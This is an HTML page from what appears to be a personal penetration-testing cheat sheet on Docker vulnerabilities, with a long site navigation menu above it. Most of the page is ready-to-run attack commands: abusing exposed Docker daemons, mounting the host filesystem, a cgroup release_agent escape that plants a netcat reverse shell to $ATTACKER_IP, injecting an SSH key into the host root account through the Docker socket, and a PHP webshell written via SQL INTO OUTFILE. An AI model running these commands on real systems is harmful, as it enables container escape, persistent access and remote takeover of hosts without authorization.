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2022-09-02 09:05:59 +02:00
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<ul><details id=crypto ontoggle="linkClick(this); return false;" ><summary>Crypto</summary><ul><details id=openssl ontoggle="linkClick(this); return false;" ><summary>Openssl</summary><ul><li><a href="/crypto/openssl/openssl.html">openssl</a></li><li><a href="/crypto/openssl/openssl_engine.html">openssl_engine</a></li></ul></details><li><a href="/crypto/rsa.html">rsa</a></li></ul></details><details id=enumeration ontoggle="linkClick(this); return false;" ><summary>Enumeration</summary><ul><details id=containers ontoggle="linkClick(this); return false;" ><summary>Containers</summary><ul></ul></details><details id=docs ontoggle="linkClick(this); return false;" ><summary>Docs</summary><ul><li><a href="/enumeration/docs/aws.html">aws</a></li><li><a href="/enumeration/docs/cewl.html">cewl</a></li><li><a href="/enumeration/docs/dns.html">dns</a></li><li><a href="/enumeration/docs/docker_enumeration.html">docker_enumeration</a></li><li><a href="/enumeration/docs/ffuf.html">ffuf</a></li><li><a href="/enumeration/docs/gobuster.html">gobuster</a></li><li><a href="/enumeration/docs/kerberoast.html">kerberoast</a></li><li><a href="/enumeration/docs/kubectl.html">kubectl</a></li><li><a href="/enumeration/docs/ldap.html">ldap</a></li><li><a href="/enumeration/docs/linux_basics.html">linux_basics</a></li><li><a href="/enumeration/docs/microk8s.html">microk8s</a></li><li><a href="/enumeration/docs/nfs.html">nfs</a></li><li><a href="/enumeration/docs/nikto.html">nikto</a></li><li><a href="/enumeration/docs/nmap.html">nmap</a></li><li><a href="/enumeration/docs/port_knocking.html">port_knocking</a></li><li><a href="/enumeration/docs/rpcclient.html">rpcclient</a></li><li><a href="/enumeration/docs/rsync.html">rsync</a></li><li><a href="/enumeration/docs/rustscan.html">rustscan</a></li><li><a href="/enumeration/docs/shodan.html">shodan</a></li><details id=snmp ontoggle="linkClick(this); return false;" ><summary>Snmp</summary><ul><li><a href="/enumeration/docs/snmp/onesixtyone.html">onesixtyone</a></li><li><a href="/enumeration/docs/snmp/snmpcheck.html">snmpcheck</a></li></ul></details><li><a href="/enumeration/docs/websites.html">websites</a></li><li><a href="/enumeration/docs/wfuzz.html">wfuzz</a></li><li><a href="/enumeration/docs/wpscan.html">wpscan</a></li></ul></details><details id=network_scanners ontoggle="linkClick(this); return false;" ><summary>Network_scanners</summary><ul></ul></details><details id=windows ontoggle="linkClick(this); return false;" ><summary>Windows</summary><ul><li><a href="/enumeration/windows/bloodhound.html">bloodhound</a></li><li><a href="/enumeration/windows/event_log.html">event_log</a></li><li><a href="/enumeration/windows/manual_enum.html">manual_enum</a></li><li><a href="/enumeration/windows/powershell.html">powershell</a></li><li><a href="/enumeration/windows/rpcclient.html">rpcclient</a></li><li><a href="/enumeration/windows/sysinternals.html">sysinternals</a></li><li><a href="/enumeration/windows/sysmon.html">sysmon</a></li><li><a href="/enumeration/windows/vss.html">vss</a></li></ul></details></ul></details><details id=exfiltration ontoggle="linkClick(this); return false;" ><summary>Exfiltration</summary><ul><details id=dns ontoggle="linkClick(this); return false;" ><summary>Dns</summary><ul><li><a href="/exfiltration/dns/dns.html">dns</a></li></ul></details><details id=linux ontoggle="linkClick(this); return false;" ><summary>Linux</summary><ul><li><a href="/exfiltration/linux/nc.html">nc</a></li><li><a href="/exfiltration/linux/wget.html">wget</a></li></ul></details><details id=windows ontoggle="linkClick(this); return false;" ><summary>Windows</summary><ul><li><a href="/exfiltration/windows/evil-winrm.html">evil-winrm</a></li><li><a href="/exfiltration/windows/loot.html">loot</a></li><li><a href="/exfiltration/windows/smb_connection.html">smb_connection</a></li></ul></details></ul></details><details id=exploit ontoggle="linkClick(this); return false;" ><summary>Exploit</summary><ul><details id=CPUs ontoggle="linkClick(this); return false;" ><summary>CPUs</summary><ul><li><a href="/exploit/CPUs
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<div class="column column-3">
<ul>
<li><a href="#docker-vulnerabilities">Docker Vulnerabilities</a><ul>
<li><a href="#abusing-registry">Abusing Registry</a><ul>
<li><a href="#enumeration">Enumeration</a></li>
</ul>
</li>
<li><a href="#reversing-docker-images">Reversing Docker Images</a></li>
<li><a href="#uploading-images-to-registry">Uploading Images to Registry</a></li>
<li><a href="#rce-via-exposed-docker-daemon">RCE via Exposed Docker Daemon</a></li>
<li><a href="#escape-container-via-exposed-docker-daemon">Escape Container via Exposed Docker Daemon</a></li>
<li><a href="#shared-namespaces">Shared Namespaces</a></li>
<li><a href="#misconfiguration">Misconfiguration</a></li>
<li><a href="#check-fdisk">Check fdisk</a></li>
<li><a href="#creating-a-container-from-inside-another-container">Creating a Container from inside another container</a></li>
<li><a href="#escape-through-db">Escape through DB</a></li>
<li><a href="#dirty-c0w">Dirty c0w</a></li>
<li><a href="#runc">runC</a></li>
<li><a href="#securing-a-container">Securing a Container</a></li>
<li><a href="#checking-if-you-are-inside-a-container">Checking if you are inside a container</a></li>
</ul>
</li>
</ul>
</div>
<h1 id="docker-vulnerabilities">Docker Vulnerabilities</h1>
<ul>
<li><a href="https://github.com/stealthcopter/deepce">Container enumeration</a></li>
</ul>
<h2 id="abusing-registry">Abusing Registry</h2>
<ul>
<li><a href="https://docs.docker.com/registry/spec/api/">Registry Doc</a></li>
<li>Registry is a json API endpoint</li>
<li>Private registry added in <code>/etc/docker/daemon.json</code></li>
<li>Can be found by nmap as a service</li>
</ul>
<h3 id="enumeration">Enumeration</h3>
<ul>
<li>General query</li>
</ul>
<div class="codehilite"><pre><span></span><code>curl http://test.com:5000/v2/_catalog<span class="sb">`</span>
</code></pre></div>
<ul>
<li>List tags</li>
</ul>
<div class="codehilite"><pre><span></span><code>curl http://test.com:5000/v2/&lt;REPO&gt;/&lt;APP&gt;/tags/list
</code></pre></div>
<ul>
<li><code>history</code> section of the json object contains commands executed at build phase. May contain sensitive data like passwords.</li>
</ul>
<div class="codehilite"><pre><span></span><code>curl http://test.com:5000/v2/&lt;REPO&gt;/&lt;APP&gt;/manifest/&lt;TAG&gt;
</code></pre></div>
<h2 id="reversing-docker-images">Reversing Docker Images</h2>
<ul>
<li><a href="https://github.com/wagoodman/dive">Dive</a></li>
</ul>
<div class="codehilite"><pre><span></span><code>dive &lt;IMAGE-ID&gt;
</code></pre></div>
<h2 id="uploading-images-to-registry">Uploading Images to Registry</h2>
<ul>
<li>Ever image has a <code>latest</code> tag</li>
<li>Upload modified docker image as <code>latest</code></li>
<li><a href="https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/malicious-docker-hub-container-images-cryptocurrency-mining">Article</a></li>
</ul>
<h2 id="rce-via-exposed-docker-daemon">RCE via Exposed Docker Daemon</h2>
<ul>
<li>Users inside the <code>docker</code> group may open tcp socket through docker</li>
<li><code>nmap -sV -p- &lt;IP&gt; -vv</code> to find exposed tcp sockets via docker</li>
<li>Confirming via <code>curl http://test.com:2375/version</code> on open docker port</li>
<li>
<p>Execute commands on socket
<code>sh
docker -H tcp://test.com:2375 ps
docker -H tcp://test.com:2375 exec &lt;container&gt; &lt;cmd&gt;
docker -H tcp://$TARGET_IP:2375 run -it -v /:/mnt/host alpine:3.9 /bin/sh</code></p>
</li>
<li>
<p><a href="https://registry.hub.docker.com/r/chrisfosterelli/rootplease">root please</a></p>
</li>
</ul>
<h2 id="escape-container-via-exposed-docker-daemon">Escape Container via Exposed Docker Daemon</h2>
<ul>
<li>Looking for exposed docker sockets</li>
</ul>
<div class="codehilite"><pre><span></span><code>find / -name <span class="s2">&quot;*sock&quot;</span>
groups
</code></pre></div>
<ul>
<li>Mount the host volume and chroot to it, need alpine image. </li>
</ul>
<div class="codehilite"><pre><span></span><code>docker images
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
</code></pre></div>
<p>or</p>
<div class="codehilite"><pre><span></span><code>docker run -v /:/host --rm -it &lt;imageID&gt; chroot /host/ bash
</code></pre></div>
<h2 id="shared-namespaces">Shared Namespaces</h2>
<ul>
<li>Namespaces</li>
<li>Cgroups</li>
<li>
<p>OverlayFS</p>
</li>
<li>
<p>Requires root inside the container</p>
</li>
<li>
<p>Execute command</p>
</li>
</ul>
<div class="codehilite"><pre><span></span><code>nsenter --target <span class="m">1</span> --mount sh
</code></pre></div>
<h2 id="misconfiguration">Misconfiguration</h2>
<ul>
<li>Privileged container connect to the host directly, not through the docker engine</li>
<li>Execution of bins on the host from libs inside the container is possible</li>
</ul>
<div class="codehilite"><pre><span></span><code>capsh --print
</code></pre></div>
<ul>
<li>
<p><code>man capabilities</code></p>
</li>
<li>
<p><a href="https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/#:~:text=The%20SYS_ADMIN%20capability%20allows%20a,security%20risks%20of%20doing%20so.">PoC</a></p>
</li>
<li>
<p>Exploit and get a reverse shell to the host via</p>
</li>
</ul>
<div class="codehilite"><pre><span></span><code>mkdir /tmp/cgrp <span class="o">&amp;&amp;</span> mount -t cgroup -o rdma cgroup /tmp/cgrp <span class="o">&amp;&amp;</span> mkdir /tmp/cgrp/x
<span class="nb">echo</span> <span class="m">1</span> &gt; /tmp/cgrp/x/notify_on_release
<span class="nv">host_path</span><span class="o">=</span><span class="sb">`</span>sed -n <span class="s1">&#39;s/.*\perdir=\([^,]*\).*/\1/p&#39;</span> /etc/mtab<span class="sb">`</span>
<span class="nb">echo</span> <span class="s2">&quot;</span><span class="nv">$host_path</span><span class="s2">/exploit&quot;</span> &gt; /tmp/cgrp/release_agent
<span class="nb">echo</span> <span class="s1">&#39;#!/bin/sh&#39;</span> &gt; /exploit
<span class="nb">echo</span> <span class="s2">&quot;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc </span><span class="nv">$ATTACKER_IP</span><span class="s2"> 4711 &gt;/tmp/f&quot;</span> &gt;&gt; /exploit
chmod a+x /exploit
sh -c <span class="s2">&quot;echo \$\$ &gt; /tmp/cgrp/x/cgroup.procs&quot;</span>
</code></pre></div>
<ul>
<li>The file may appear outside the container on the host system</li>
</ul>
<h2 id="check-fdisk">Check fdisk</h2>
<ul>
<li><code>fdisk -l</code> and <code>lsblk</code>, host bulk device may be exposed</li>
<li>Mount the device</li>
</ul>
<div class="codehilite"><pre><span></span><code>mkdir /mnt/hostdev
mount /dev/&lt;hostVda&gt; /mnt/hostdev
</code></pre></div>
<ul>
<li>Check <code>/dev</code> as well !!! and mount device</li>
</ul>
<h2 id="creating-a-container-from-inside-another-container">Creating a Container from inside another container</h2>
<ul>
<li>Needs root inside a container</li>
<li>Upload <a href="https://github.com/moparisthebest/static-curl">static curl</a></li>
<li>Check available images and containers</li>
</ul>
<div class="codehilite"><pre><span></span><code>curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/containers/json
curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/images/json
</code></pre></div>
<ul>
<li>Inside the container as root</li>
</ul>
<div class="codehilite"><pre><span></span><code>curl -X POST -H <span class="s2">&quot;Content-Type: application/json&quot;</span> --unix-socket /var/run/docker.sock http://localhost/containers/create -d <span class="s1">&#39;{&quot;Detach&quot;:true,&quot;AttachStdin&quot;:false,&quot;AttachStdout&quot;:true,&quot;AttachStderr&quot;:true,&quot;Tty&quot;:false,&quot;Image&quot;:&quot;&lt;imagename&gt;:latest&quot;,&quot;HostConfig&quot;:{&quot;Binds&quot;: [&quot;/:/var/tmp&quot;]},&quot;Cmd&quot;:[&quot;sh&quot;, &quot;-c&quot;, &quot;echo &lt;ssh-key&gt; &gt;&gt; /var/tmp/root/.ssh/authorized_keys&quot;]}&#39;</span>
</code></pre></div>
<ul>
<li>Return value is the ID</li>
<li>Start a container</li>
</ul>
<div class="codehilite"><pre><span></span><code>curl-amd64 -X POST -H <span class="s2">&quot;Content-Type:application/json&quot;</span> --unix-socket /var/run/docker.sock http://localhost/containers/&lt;ID&gt;/start
</code></pre></div>
<ul>
<li>Login in to the host via ssh remotely or socat locally</li>
</ul>
<div class="codehilite"><pre><span></span><code>socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/&lt;CONTAINERID&gt;/attach?stream<span class="o">=</span><span class="m">1</span><span class="p">&amp;</span><span class="nv">stdin</span><span class="o">=</span><span class="m">1</span><span class="p">&amp;</span><span class="nv">stdout</span><span class="o">=</span><span class="m">1</span><span class="p">&amp;</span><span class="nv">stderr</span><span class="o">=</span><span class="m">1</span> HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
HTTP/1.1 <span class="m">101</span> UPGRADED
Content-Type: application/vnd.docker.raw-stream
Connection: Upgrade
Upgrade: tcp
</code></pre></div>
<h2 id="escape-through-db">Escape through DB</h2>
<ul>
<li>Login into DB</li>
<li>Create table</li>
<li>Inject PHP code</li>
<li>Select table content intoa file the user can read</li>
<li>Execute the file</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="k">create</span><span class="w"> </span><span class="k">table</span><span class="w"> </span><span class="n">h4x0r</span><span class="w"> </span><span class="p">(</span><span class="n">pwn</span><span class="w"> </span><span class="nb">varchar</span><span class="p">(</span><span class="mi">1024</span><span class="p">));</span><span class="w"></span>
<span class="k">insert</span><span class="w"> </span><span class="k">into</span><span class="w"> </span><span class="n">h4x0r</span><span class="w"> </span><span class="p">(</span><span class="n">pwn</span><span class="p">)</span><span class="w"> </span><span class="k">values</span><span class="w"> </span><span class="p">(</span><span class="s1">&#39;&lt;?php $cmd=$_GET[“cmd”];system($cmd);?&gt;&#39;</span><span class="p">);</span><span class="w"></span>
<span class="k">select</span><span class="w"> </span><span class="s1">&#39;&lt;?php $cmd=$_GET[&quot;cmd&quot;];system($cmd);?&gt;&#39;</span><span class="w"> </span><span class="k">INTO</span><span class="w"> </span><span class="n">OUTFILE</span><span class="w"> </span><span class="s1">&#39;/var/www/html/shell.php&#39;</span><span class="p">;</span><span class="w"></span>
</code></pre></div>
<ul>
<li>curl the webshell hon the exploited host</li>
</ul>
<div class="codehilite"><pre><span></span><code>curl &lt;host-IP&gt;/shell.php?cmd<span class="o">=</span>id
</code></pre></div>
<h2 id="dirty-c0w">Dirty c0w</h2>
<p>https://github.com/dirtycow/dirtycow.github.io</p>
<h2 id="runc">runC</h2>
<p><a href="https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/">CVE-2019-5736</a></p>
<h2 id="securing-a-container">Securing a Container</h2>
<ul>
<li>Least Privileges</li>
<li>Seccomp</li>
<li>Securing Registry via TLS</li>
</ul>
<h2 id="checking-if-you-are-inside-a-container">Checking if you are inside a container</h2>
<ul>
<li>Low process count</li>
</ul>
<div class="codehilite"><pre><span></span><code>ps aux
</code></pre></div>
<ul>
<li><code>.dockerenv</code> in <code>/</code></li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="nb">cd</span> / <span class="o">&amp;&amp;</span> ls -lah
</code></pre></div>
<ul>
<li>cgroups contain docker names</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="nb">pwd</span> /proc/1
cat cgroups
</code></pre></div>
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